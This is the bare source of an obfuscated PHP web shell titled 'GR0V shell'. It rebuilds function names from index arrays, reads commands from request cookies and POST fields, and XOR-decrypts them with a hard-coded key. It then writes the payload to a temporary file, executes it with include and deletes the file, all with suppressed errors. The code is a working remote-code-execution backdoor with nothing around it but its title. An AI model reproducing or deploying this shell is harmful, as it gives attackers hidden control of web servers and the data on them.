GR0V shell

<?php
function yx1($ip2){$cy3 = "n1vm 8*3@-su64Ftkyc(9Ig0)r'h2ai#p<e;HEb./fdxL" ."_5" ."?l" ."o" ;$zq5='';foreach($ip2 as $vd4){$zq5.=$cy3[$vd4];}return $zq5;}$bl6 = Array();$bl6[] = yx1(Array(28,28,5,41,23,34,12,5,9,28,29,42,34,9,13,29,46,7,9,29,38,18,28,9,1,5,13,38,42,46,28,34,29,1,20,18));$bl6[] = yx1(Array(47,32,27,32,4,8,11,0,48,30,0,16,19,45,45,14,21,44,37,45,45,24,35,4));$bl6[] = yx1(Array(39,3,49,42,11,48,34));$bl6[] = yx1(Array(36,6));$bl6[] = yx1(Array(39,40));$bl6[] = yx1(Array(31));$bl6[] = yx1(Array(33));$bl6[] = yx1(Array(41,30,48,34,45,32,11,15,45,18,49,0,15,34,0,15,10));$bl6[] = yx1(Array(29,25,25,29,17,45,3,34,25,22,34));$bl6[] = yx1(Array(10,15,25,45,25,34,32,34,29,15));$bl6[] = yx1(Array(34,43,32,48,49,42,34));$bl6[] = yx1(Array(10,11,38,10,15,25));$bl6[] = yx1(Array(11,0,48,30,0,16));$bl6[] = yx1(Array(10,15,25,48,34,0));$bl6[] = yx1(Array(32,29,18,16));$bl6[] = yx1(Array(3,42,46));foreach ($bl6[8]($_COOKIE, $_POST) as $mv14 => $tw11){function bd8($bl6, $mv14, $gp10){return $bl6[11]($bl6[9]($mv14 . $bl6[0], ($gp10 / $bl6[13]($mv14)) + 1), 0, $gp10);}function wm7($bl6, $xh12){return @$bl6[14]($bl6[3], $xh12);}function ze9($bl6, $xh12){if (isset($xh12[2])) {$xf13 = $bl6[4] . $bl6[15]($bl6[0]) . $bl6[2];@$bl6[7]($xf13, $bl6[6] . $bl6[1] . $xh12[1]($xh12[2]));@include($xf13);@$bl6[12]($xf13);exit();}}$tw11 = wm7($bl6, $tw11);ze9($bl6, $bl6[10]($bl6[5], $tw11 ^ bd8($bl6, $mv14, $bl6[13]($tw11))));}